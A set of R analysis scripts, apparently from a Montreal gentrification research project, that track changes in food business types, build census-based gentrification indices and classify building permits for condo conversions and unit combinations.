mutate(name_address = paste(name, address))
# food_businesses %>%
# filter(statut != "Ouvert") %>%
# count(name, address) %>% View()
# distinct(name, address, .keep_all = TRUE)
food_businesses_2019 <-
full_join(food_businesses_open, years, by="name_address") %>%
mutate(year = year + (duplicates - 1)) %>%
filter(year == 2019) %>%
left_join(., food_businesses_sf %>% select(id), by = "id") %>%
st_as_sf()
# Changes in type by address ------------------------------------------------------------
groups <-
food_businesses %>%
select(-city, -statut) %>%
distinct(address, date, .keep_all=TRUE) %>%
arrange(date) %>%
group_by(address) %>%
mutate(group_id = row_number())
group1 <-
groups %>%
filter(group_id == 1) %>%
select(-group_id)
group2 <-
groups %>%
filter(group_id == 2) %>%
select(-group_id)
group3 <-
groups %>%
filter(group_id == 3) %>%
select(-group_id)
group4 <-
groups %>%
filter(group_id == 4) %>%
select(-group_id)
group5 <-
groups %>%
filter(group_id == 5) %>%
select(-group_id)
group6 <-
groups %>%
filter(group_id == 6) %>%
select(-group_id)
group7 <-
groups %>%
filter(group_id == 7) %>%
select(-group_id)
group8 <-
groups %>%
filter(group_id == 8) %>%
select(-group_id)
group9 <-
groups %>%
filter(group_id == 9) %>%
select(-group_id)
group10 <-
groups %>%
filter(group_id == 10) %>%
select(-group_id)
group11 <-
groups %>%
filter(group_id == 11) %>%
select(-group_id)
group12 <-
groups %>%
filter(group_id == 12) %>%
select(-group_id)
group13 <-
groups %>%
filter(group_id == 13) %>%
select(-group_id)
group14 <-
groups %>%
filter(group_id == 14) %>%
select(-group_id)
group15 <-
groups %>%
filter(group_id == 15) %>%
select(-group_id)
group1_2 <- right_join(group1, group2, by="address")
group2_3 <- right_join(group2, group3, by="address")
group3_4 <- right_join(group3, group4, by="address")
group4_5 <- right_join(group4, group5, by="address")
group5_6 <- right_join(group5, group6, by="address")
group6_7 <- right_join(group6, group7, by="address")
group7_8 <- right_join(group7, group8, by="address")
group8_9 <- right_join(group8, group9, by="address")
group9_10 <- right_join(group9, group10, by="address")
group10_11 <- right_join(group10, group11, by="address")
group11_12 <- right_join(group11, group12, by="address")
group12_13 <- right_join(group12, group13, by="address")
group13_14 <- right_join(group13, group14, by="address")
group14_15 <- right_join(group14, group15, by="address")
switches <-
rbind(group1_2, group2_3, group3_4, group4_5, group5_6,
group6_7, group7_8, group8_9, group9_10, group10_11,
group11_12, group12_13, group13_14, group14_15)
# grouped_addresses <-
# group1 %>%
# left_join(., group2, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2")) %>%
# left_join(., group3, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3")) %>%
# left_join(., group4, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4")) %>%
# left_join(., group5, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5")) %>%
# left_join(., group6, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6")) %>%
# left_join(., group7, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7")) %>%
# left_join(., group8, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8")) %>%
# left_join(., group9, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9")) %>%
# left_join(., group10, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9",
# "id10", "name10", "type10", "date10")) %>%
# left_join(., group11, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9",
# "id10", "name10", "type10", "date10",
# "id11", "name11", "type11", "date11")) %>%
# left_join(., group12, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9",
# "id10", "name10", "type10", "date10",
# "id11", "name11", "type11", "date11",
# "id12", "name12", "type12", "date12")) %>%
# left_join(., group13, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9",
# "id10", "name10", "type10", "date10",
# "id11", "name11", "type11", "date11",
# "id12", "name12", "type12", "date12",
# "id13", "name13", "type13", "date13")) %>%
# left_join(., group13, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9",
# "id10", "name10", "type10", "date10",
# "id11", "name11", "type11", "date11",
# "id12", "name12", "type12", "date12",
# "id13", "name13", "type13", "date13",
# "id14", "name14", "type14", "date14")) %>%
# left_join(., group13, by = "address") %>%
# set_names(c("id1", "name1", "address", "type1", "date1",
# "id2", "name2", "type2", "date2",
# "id3", "name3", "type3", "date3",
# "id4", "name4", "type4", "date4",
# "id5", "name5", "type5", "date5",
# "id6", "name6", "type6", "date6",
# "id7", "name7", "type7", "date7",
# "id8", "name8", "type8", "date8",
# "id9", "name9", "type9", "date9",
# "id10", "name10", "type10", "date10",
# "id11", "name11", "type11", "date11",
# "id12", "name12", "type12", "date12",
# "id13", "name13", "type13", "date13",
# "id14", "name14", "type14", "date14",
# "id15", "name15", "type15", "date15"))
#
# grouped_addresses %>%
# select(type1,type2,type3,type4,type5,type6,type7,type8,type9,type10) %>% View()
unique(food_businesses$type)
non_gentrifying <- c("General grocery", "Institutional", "Industrial")
gentrifying <- c("Restaurants", "Bars", "Specialized", "Cafes")
switches_sf <-
switches %>%
mutate(transition = ifelse(type.x %in% non_gentrifying & type.y %in% gentrifying, TRUE, FALSE)) %>%
filter(transition == TRUE) %>%
mutate(date.x = year(date.x),
date.y = year(date.y),
number_years = date.y-date.x) %>%
filter(number_years <5) %>%
left_join(., food_businesses_sf %>% select(address), by="address") %>%
st_as_sf() %>%
distinct(id.x, .keep_all=TRUE) %>%
filter(date.y >=2011)
#%>%
#st_join(DA %>% select(GeoUID), .) %>%
#filter(!is.na(id.x)) %>%
#group_by(GeoUID, date.y) %>%
#summarize(n=n())
switches_sf %>%
filter(date.y < 2021) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(aes(color=date.y), size=1, alpha=0.5)+
scale_color_viridis_c()+
#facet_wrap(~date.y)+
upgo::gg_bbox(boroughs)+
theme_void()
switches_sf %>%
st_join(boroughs, .) %>%
filter(date.y < 2021) %>%
mutate(dwellings_1000=dwellings/1000) %>%
group_by(borough, date.y, dwellings_1000) %>%
summarize(n=n(), n_density=n()/(sum(dwellings_1000)/n())) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(aes(fill=n_density), color=NA)+
scale_fill_gradientn(name="Number of switches\nper 1000 households",
colors=col_palette[c(4,1,9)])+
facet_wrap(~date.y)+
upgo::gg_bbox(boroughs)+
theme_void()
switches_sf %>%
st_join(boroughs, .) %>%
filter(date.y < 2021) %>%
mutate(dwellings_1000=dwellings/1000) %>%
group_by(borough, date.y, dwellings_1000) %>%
summarize(n=n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(aes(fill=n), color=NA)+
scale_fill_gradientn(name="Number of switches",
colors=col_palette[c(4,1,9)])+
facet_wrap(~date.y)+
upgo::gg_bbox(boroughs)+
theme_void()
<file_sep>/R/gen_01.R
library(tidyverse)
library(sf)
library(stringr)
library(tidyr)
library(qs)
library(cancensus)
library(ggpubr)
#bivariate map
library(scales)
library(biscale)
library(patchwork)
# neighbourhood change
# get census data -----
View(cancensus::list_census_vectors("CA01"))
DA_01_test <-
get_census(
dataset = "CA01", regions = list(CSD = c("2466025")), level = "DA",
vectors = c("v_CA01_96", "v_CA01_100", "v_CA01_96","v_CA01_104",
"v_CA01_1666", "v_CA01_1621","v_CA01_1634","v_CA01_1667","v_CA01_1668",
"v_CA01_1670", "v_CA01_1674", "v_CA01_703", "v_CA01_702", "v_CA01_406", "v_CA01_402",
"v_CA01_383","v_CA01_381","v_CA01_392","v_CA01_390",
"v_CA01_1618","v_CA01_1617","v_CA01_725","v_CA01_726",
"v_CA01_1397","v_CA01_1384"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:`Households`, CSD_UID, key, CT_UID, CD_UID:`Area (sq km)`)) %>%
set_names(c("GeoUID", "population", "dwellings", "tenure_total", "renter",
"major_repairs","repairs_total","renter_total","gross_rent_avg","thirty_renter",
"value_dwellings_total", "value_dwellings_avg", "HH_income_total","HH_income_median",
"low_income", "low_income_total", "vm", "vm_total", "aboriginal_total", "aboriginal",
"immigrants", "immigrants_total", "mobility_one_year", "mobility_one_year_total", "mobility_five_years", "mobility_five_years_total",
"bachelor_above", "education_total","geometry" )) %>%
mutate(low_income_prop = low_income / low_income_total
# p_renter = renter / parent_tenure,
# p_repairs = major_repairs / parent_repairs,
# p_thirty_renter = thirty_renter / parent_thirty,
# p_vm = vm/parent_vm,
# p_immigrants = immigrants/parent_immigrants,
# p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
# p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
# p_aboriginal = aboriginal/parent_aboriginal,
# p_bachelor_above = bachelor_above / parent_education
) %>%
#select(-c(low_income_AT_prop)) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
# 2001 incomes are before-tax, household income and low income affected
DA_01_test <-
DA_01_test %>%
rename(ID = GeoUID)
# data for 1996
view(DA_96_test)
DA_96_test <-
get_census(
dataset = "CA1996", regions = list(CSD = c("2466025")), level = "DA",
vectors = c("v_CA1996_1678", "v_CA1996_1683", "v_CA1996_1678","v_CA1996_1687",
"v_CA1996_1614","v_CA1996_1627","v_CA1996_1701","v_CA1996_1702",
"v_CA1996_1682", "v_CA1996_1681", "v_CA1996_784", "v_CA1996_783", "v_CA1996_128","v_CA1996_125",
"v_CA1996_1387","v_CA1996_1385","v_CA1996_1396","v_CA1996_1394",
"v_CA1996_1611","v_CA1996_1610","v_CA1996_472","v_CA1996_473",
"v_CA1996_1356","v_CA1996_1347"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:`Households`, CSD_UID, key, CT_UID, CD_UID:`Area (sq km)`)) %>%
set_names(c("GeoUID", "population", "dwellings", "tenure_total", "renter",
"repairs_total", "major_repairs", "value_dwellings_total", "value_dwellings_avg",
"HH_income_total","HH_income_median", "low_income", "low_income_total",
"gross_rent_avg", "thirty_renter", "vm", "vm_total", "immigrants", "immigrants_total",
"mobility_one_year", "mobility_one_year_total", "mobility_five_years", "mobility_five_years_total",
"bachelor_above", "aboriginal_total", "aboriginal", "education_total",
"geometry" )) %>%
mutate(low_income_prop = low_income / low_income_total,
renter_total = renter
# p_renter = renter / parent_tenure,
# p_repairs = major_repairs / parent_repairs,
# p_thirty_renter = thirty_renter / parent_thirty,
# p_vm = vm/parent_vm,
# p_immigrants = immigrants/parent_immigrants,
# p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
# p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
# p_aboriginal = aboriginal/parent_aboriginal,
# p_bachelor_above = bachelor_above / parent_education
) %>%
#select(-c(low_income_AT_prop)) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
# 1996 in CT to check NAs
CT_96_test <-
get_census(
dataset = "CA1996", regions = list(CSD = c("2466025")), level = "DA",
vectors = c("v_CA1996_1678", "v_CA1996_1683", "v_CA1996_1678","v_CA1996_1687",
"v_CA1996_1614","v_CA1996_1627","v_CA1996_1701","v_CA1996_1702",
"v_CA1996_1682", "v_CA1996_1681", "v_CA1996_784", "v_CA1996_783", "v_CA1996_128","v_CA1996_125",
"v_CA1996_1387","v_CA1996_1385","v_CA1996_1396","v_CA1996_1394",
"v_CA1996_1611","v_CA1996_1610","v_CA1996_472","v_CA1996_473",
"v_CA1996_1356","v_CA1996_1347"),
geo_format = "sf")
# test if nonmover+mover = total in 1996
test_2 <-
view(get_census(
dataset = "CA1996", regions = list(CSD = c("2466025")), level = "DA",
vectors = c("v_CA1996_1395","v_CA1996_1396","v_CA1996_1394"),
geo_format = "sf"))
test_2 <- test_2 %>%
rename(nonmover = "v_CA1996_1395: Non-movers",
mover = "v_CA1996_1396: Movers")%>%
mutate(sum_mobility = nonmover + mover)
sum(DA_96_test$population)
# correlation test --------------------------------------------------------
ggqqplot(var_DA_06_16$p_vm, ylab = "percentage of vm")
ggqqplot(var_DA_06_16$p_immigrants, ylab = "percentage of immigrants")
ggscatter(var_DA_06_16, x = "p_vm", y = "p_immigrants",
add = "reg.line", conf.int = FALSE,
cor.coef = TRUE,cor.method = "pearson",
xlab = "p_vm", ylab = "p_immigrants")
shapiro.test(var_DA_06_16$p_vm)
# Inflation adjustment 06 to 16 ----------------------------------------------------
var_DA_06_16_2 <-
var_DA_06_16 %>%
mutate(var_avg_rent_adjusted =
(average_rent - (gross_rent_avg_06*1.1741)) / (gross_rent_avg_06*1.1741),
var_avg_value_dwelling_adjusted =
(average_value_dwellings - (value_dwellings_avg_06*1.1741)) / (value_dwellings_avg_06*1.1741),
var_avg_median_HH_income_AT_adjusted =
(median_HH_income_AT-(HH_income_AT_median_06*1.1741)) / (HH_income_AT_median_06*1.1741))
# GI --------------------------------------------------------------
# metric 1: binary map ----
# step 1: gentrifiable criteria:
# 1. median_hh_income< CMA
# 2. bacholar_above< CMA
# (3. New housing construction proportion*< CMA)
Hmisc::wtd.quantile(var_DA_06_16$median_HH_income_AT, probs = c(.5), na.rm = TRUE)+
sd(var_DA_06_16$median_HH_income_AT, na.rm = TRUE)
mean(var_DA_06_16$median_HH_income_AT, na.rm = TRUE)
# var_DA_06_16 is CSD
var_DA_06_16_2 <-
var_DA_06_16_2 %>%
mutate(var_avg_rent_adjusted =
(average_rent - (gross_rent_avg_06*1.1741)) / (gross_rent_avg_06*1.1741),
var_avg_value_dwelling_adjusted =
(average_value_dwellings - (value_dwellings_avg_06*1.1741)) / (value_dwellings_avg_06*1.1741),
var_avg_median_HH_income_AT_adjusted =
(median_HH_income_AT-(HH_income_AT_median_06*1.1741)) / (HH_income_AT_median_06*1.1741)) %>%
mutate(p_bachelor_above_06_csd = wtd.quantile(p_bachelor_above_06, probs = c(.5), na.rm = TRUE),
HH_income_AT_median_06_csd = wtd.quantile(HH_income_AT_median_06, probs = c(.5), na.rm = TRUE)) %>%
mutate(gentrifiable = ifelse(p_bachelor_above_06 < p_bachelor_above_06_csd &
HH_income_AT_median_06 < HH_income_AT_median_06_csd, TRUE, FALSE))
# step2: Gentrified criteria:
# Demographic change
# 1.The increase proportion of people with bachelor degree > CMA
# 2.The increase proportion of housing ownership > CMA (--> renter decline??)
# 3.The increase Median household income > CMA
# 4.The increase of professional occupation > CMA
# Reinvestment
#1. The increase of Housing value > CMA
#2. The increase of Monthly rent > CMA
var_DA_06_16_2 <-
var_DA_06_16_2 %>%
mutate(var_bacholar_above = p_bachelor_above - p_bachelor_above_06,
var_bachelor_above_median = wtd.quantile(var_bacholar_above, probs = c(.5), na.rm = TRUE),
# should change to ownership in new dataset
var_prop_renter_median = wtd.quantile(var_prop_renter, probs = c(.5), na.rm = TRUE),
var_median_hh_income_median = wtd.quantile(var_avg_median_HH_income_AT_adjusted, probs = c(.5), na.rm = TRUE),
# var_profession_median = wtd.quantile(var_profession, probs = c(.5), na.rm = TRUE),
var_avg_value_dwelling_median = wtd.quantile(var_avg_value_dwelling_adjusted, probs = c(.5), na.rm = TRUE),
var_avg_rent_median = wtd.quantile(var_avg_rent_adjusted, probs = c(.5), na.rm = TRUE),
var_prop_vm_median = wtd.quantile(var_prop_vm, probs = c(.5), na.rm = TRUE)
)%>%
mutate(gentrified = ifelse(gentrifiable &
var_bacholar_above > var_bachelor_above_median &
var_prop_renter < var_prop_renter_median &
var_avg_median_HH_income_AT_adjusted > var_median_hh_income_median &
var_avg_value_dwelling_adjusted > var_avg_value_dwelling_median &
var_avg_rent_adjusted > var_avg_rent_median, TRUE, FALSE))
# create graphs
gentrifiable_06_map <-
var_DA_06_16_2 %>%
ggplot()+
geom_sf(aes(fill = gentrifiable), colour = NA)+
scale_fill_manual(name = "Gentriable in 2006",
values = col_palette[c(5, 1)], na.value = "grey60")+
theme_void()
gentrified_06_16_map <-
var_DA_06_16_2 %>%
ggplot()+
geom_sf(aes(fill = gentrified), colour = NA)+
#geom_sf(data = boroughs, fill = NA, colour = "grey20", lwd= 0.5)+
scale_fill_manual(name = "Gentried through\n2006 to 2016",
values = col_palette[c(5, 1)], na.value = "grey60")+
theme_void()
# metric 2: : quartile score ----
#indicators qualified in the process of gentrification:
# Changes in percentage of people with bachelor degrees
# Changes in professional occupation *
# Changes in median household income
# Changes in Housing value
# Changes in Monthly rent
# Changes in proportion of housing ownership
# <25%--1
# 25-50%--2
# 50--75%--3
# >75%--4
var_list <- c("var_bacholar_above", "var_avg_median_HH_income_AT_adjusted", "var_avg_value_dwelling_adjusted","var_avg_rent_adjusted",
"var_prop_renter", "var_prop_vm")
gentrif_q <-
var_DA_06_16_test %>%
mutate(across(all_of(var_list), ntile, 4, .names = "{.col}_q4"))
q_list <- str_subset(names(gentrif_q), "_q4")
#gentrif_q %>%
# mutate(across(all_of(q_list), ~(./4)))
v2 <- gentrif_q %>%
mutate (sum_variable_qq = (var_bacholar_above_q4 + var_avg_median_HH_income_AT_adjusted_q4+
var_avg_value_dwelling_adjusted_q4 + var_avg_rent_adjusted_q4-
var_prop_renter_q4 - var_prop_vm_q4)) %>%
mutate(sum_variable_qq2 = scales::rescale(v2$sum_variable_qq, to= c(0, 1))) #%>%
#group_by(sum_variable_qq2) %>%
#dplyr::summarize(n())
# metric: Z-score draft---------------------------------------------------------
v2_test <-
v2 %>%
mutate(across(where(is.numeric), ~replace(., is.infinite(.), NA))) #replace Inf by NAs
v2_test <- na.omit(v2_test) #for taking out the NAs
# 295 removed
var_z <-
v2_test %>%
select(var_bacholar_above, var_avg_median_HH_income_AT_adjusted,
var_avg_value_dwelling_adjusted,var_avg_rent_adjusted,
var_prop_renter, var_prop_vm) %>%
rename_with(~paste0(.,"_z"), -geometry) %>%
st_drop_geometry()
var_zscore <-scale(var_z)
GI_06_16 <- cbind(v2_test,var_zscore)
GI_06_16 <-
GI_06_16 %>%
mutate(sum_z = var_bacholar_above_z + var_avg_median_HH_income_AT_adjusted_z + var_avg_value_dwelling_adjusted_z
+var_avg_rent_adjusted_z -var_prop_renter_z -var_prop_vm_z)
v2_z_map <-
GI_06_16 %>%
ggplot()+
geom_sf(aes(fill = sum_z), colour = NA)+
geom_sf(data = boroughs, fill = NA, colour = "grey20", lwd= 0.3)+
scale_fill_viridis_c( name="Neighbourhood Change\n2006 to 2016",
limits = c(-2.5, 2.5),
oob = scales::squish)+
#scale_fill_gradientn(name="Neighbourhood Change\n2006 to 2016",
# #n.breaks = 3,
# #breaks = c(0.3, 0.6, 0.9),
# colours=col_palette[c(9,1,4)],
# limits = c(0, 1),
# oob = scales::squish)+
theme_void()
# cleaned metric: Z-score ---------------------------------------------------------
# mutate var_ columns
# DA level/ 06-16 as example
process_change_data <- function (variable, x, y){
DA %>%
mutate(variable = variable_x - variable_y/ variable_y)}
DA %>%
mutate(var_bacholar_above_prop = bacholar_above_prop_16 - bacholar_above_prop_06/ bacholar_above_prop_06,
var_inc_median_dollar_adjusted_prop = inc_median_dollar_adjusted_16- inc_median_dollar_adjusted_06/ inc_median_dollar_adjusted_06,
var_housing_value_avg_adjusted_prop = housing_value_avg_adjusted_16- housing_value_avg_adjusted_06/ housing_value_avg_adjusted_06,
var_housing_rent_avg_adjusted_prop = housing_rent_avg_adjusted_16- housing_rent_avg_adjusted_06/ housing_rent_avg_adjusted_06,
var_housing_tenant_prop = housing_tenant_prop_16- housing_tenant_prop_06/ housing_tenant_prop_06,
var_imm_vm_prop = imm_vm_prop_16- imm_vm_prop_06/ imm_vm_prop_06)
# "var_xxx"--> prefix of percentage of change from last census year
# "_adjusted_" --> use inflation-adjusted dollar
# deal with NA and Inf
DA_test <-
DA %>%
mutate(across(where(is.numeric), ~replace(., is.infinite(.), NA))) #replace Inf by NAs
DA_test <- na.omit(DA_test) #for taking out the NAs
# make list for indicators to make z-score
var_z <-
DA_test %>%
select(var_bacholar_above_prop, var_inc_median_dollar_adjusted_prop,
var_housing_value_avg_adjusted_prop,var_housing_rent_avg_adjusted_prop,
var_housing_tenant_prop, var_imm_vm_prop) %>% #these two are negative corelation
rename_with(~paste0(.,"_z"), -geometry) %>%
st_drop_geometry()
var_z <-scale(var_z)
DA_test <- cbind(DA_test, var_z)
DA_test <-
DA_test %>%
mutate(sum_z = var_bacholar_above_z + var_avg_median_HH_income_AT_adjusted_z + var_avg_value_dwelling_adjusted_z
+var_avg_rent_adjusted_z -var_prop_renter_z -var_prop_vm_z)
rm(var_z)
# create graphs
GI_map <-
DA_test %>%
ggplot()+
geom_sf(aes(fill = sum_z), colour = NA)+
geom_sf(data = boroughs, fill = NA, colour = "grey20", lwd= 0.3)+
scale_fill_viridis_c( name="Neighbourhood Change\n2006 to 2016",
limits = c(-2.5, 2.5), #need to try if this limits works throughout years
oob = scales::squish)+
theme_void()
#### Raster, Contour map----
GI_06_16 %>%
extract(geometry, c('lat', 'lon'), '\\((.*), (.*)\\)', convert = TRUE) %>%
select(lat, lon) %>%
as_tibble()
GI_06_16 %>%
ggplot()+
geom_sf(aes(x = longitude, y = latitude))+
geom_raster(aes(fill = sum_z))+
scale_fill_gradientn(name="Gentrification",
colours=col_palette[c(4, 1, 2, 9)] #,
#limits = c(10, 200),
#oob = scales::squish
)
#scale_fill_gradientn(name="Neighbourhood Change\n2006 to 2016",
# #n.breaks = 3,
# #breaks = c(0.3, 0.6, 0.9),
# colours=col_palette[c(9,1,4)],
# limits = c(0, 1),
# oob = scales::squish)+
#theme_void()
# other analysis ----
GI_06_16 %>%
ggplot(aes(x = sum_variable_qq, y = p_thirty_renter))+
geom_jitter(aes())+
ylim(c(0, 1))
GI_06_16 %>%
ggplot(aes(x = sum_z))+
geom_histogram()+
xlim(c(-4,4))
#comparing
#bi_compare <- function(v2, variable){}
bi <-
bi_class(na.omit(v2), x = sum_variable_qq, y = p_repairs, style = "quantile", dim = 3)
plot <-
ggplot() +
geom_sf(data = bi, mapping = aes(fill = bi_class), color = NA, size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
bi_legend <- bi_legend(pal = bivar,
dim = 3,
xlab = "GI",
ylab = "repairs",
size = 8)
bi_gen_thirty_map <- plot + inset_element(bi_legend, left = 0, bottom = 0.6, right = 0.4, top = 1)
bi_gen_thirty_map
# add vm
var_DA_06_16_test <-
var_DA_06_16_2 %>%
mutate(var_prop_vm_median = wtd.quantile(var_prop_vm, probs = c(.5), na.rm = TRUE))
#save plot
ggsave("output/figures/v2_map.pdf", plot = v2_map, width = 8,
height = 5, units = "in", useDingbats = FALSE)
<file_sep>/R/01_startup.R
#### 01 STARTUP ################################################################
# Load packages -----------------------------------------------------------
library(tidyverse)
library(lubridate)
#library(upgo)
#library(strr)
library(sf)
library(stringr)
library(tidyr)
library(qs)
# Set global variables ----------------------------------------------------
#if (Sys.info()["sysname"] != "Windows") {plan(multiprocess)}
col_palette <-
c("#FF6600", "#CC6699", "#3399CC", "#FFCC66", "#074387", "#6EEB83", "#008A43", "#FFD500", "#A80858")
scales::show_col(col_palette)
<file_sep>/R/04_permits_processing.R
#### 04 PERMITS PROCESSING ########################################################
source("R/01_startup.R")
load("output/geometry.Rdata")
load("output/permits.Rdata")
# Condo conversions ------------------------------------------------------------
condo_conversions <-
permits %>%
mutate(conversion = str_detect(text, "transfo") & str_detect(text, "copropri")) %>%
mutate(conversion = ifelse(str_detect(text, "conver") & str_detect(text, "copropri"), TRUE, conversion)) %>%
mutate(conversion = ifelse(str_detect(text, "transfo") & str_detect(text, "condo"), TRUE, conversion)) %>%
mutate(conversion = ifelse(str_detect(text, "ream") & str_detect(text, "condo"), TRUE, conversion)) %>%
filter(conversion==TRUE) %>%
mutate(issued_date = year(issued_date))
# Combining of two units into one ------------------------------------------------------------
combined_dwellings <-
permits %>%
filter(nb_dwellings < 0) %>%
filter(category1 == "Residentiel" | category1 == "Mixte") %>%
mutate(combining = str_detect(text, "transfo")) %>%
mutate(combining = ifelse(str_detect(text, "reuni") & str_detect(text, "redu"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "ream") & str_detect(text, "redu"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "redu") & str_detect(text, "log"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "ream") & str_detect(text, "redu"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "loge") & str_detect(text, "conver"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "modif") & str_detect(text, "suppression") & str_detect(text, "civique"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "loge") & str_detect(text, "diminuer"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "ream") & str_detect(text, "typologie"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "ream") & str_detect(text, "unifamilial"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "amenager") & str_detect(text, "plex") & str_detect(text, "unifamilial"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "amenager") & str_detect(text, "unifamilial"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "enlever") & str_detect(text, "loge"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "jumeler"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "fusion"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "transf") & str_detect(text, "log"), TRUE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "transf") & str_detect(text, "commerce"), FALSE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "transf") & str_detect(text, "garderie"), FALSE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "transf") & str_detect(text, "hotel"), FALSE, combining)) %>%
mutate(combining = ifelse(str_detect(text, "transf") & str_detect(text, "bureau"), FALSE, combining)) %>%
filter(combining==TRUE) %>%
mutate(issued_date = year(issued_date))
# New construction, permits data ------------------------------------------------------------
# new_construction <-
# permits %>%
# filter(type == "CO") %>%
# filter(category1 == "Residentiel"| category1 == "Mixte") %>%
# filter(nb_dwellings >= 10) %>%
# mutate(new_constru = ifelse(str_detect(text, "const") & str_detect(text, "batiment"), TRUE, FALSE)) %>%
# mutate(new_constru = ifelse(str_detect(text, "const") & str_detect(text, "immeuble"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "const") & str_detect(text, "residence"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "multi") & str_detect(text, "log"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "bat") & str_detect(text, "log"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "batiment") & str_detect(text, "habitation"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "nouve") & str_detect(text, "const"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "condo"), TRUE, new_constru)) %>%
# mutate(new_constru = ifelse(str_detect(text, "coop"), TRUE, new_constru)) %>%
# filter(new_constru == TRUE) %>%
# mutate(issued_date = year(issued_date))
# Demolition permits ------------------------------------------------------------
demolitions <-
permits %>%
filter(type == "DE") %>%
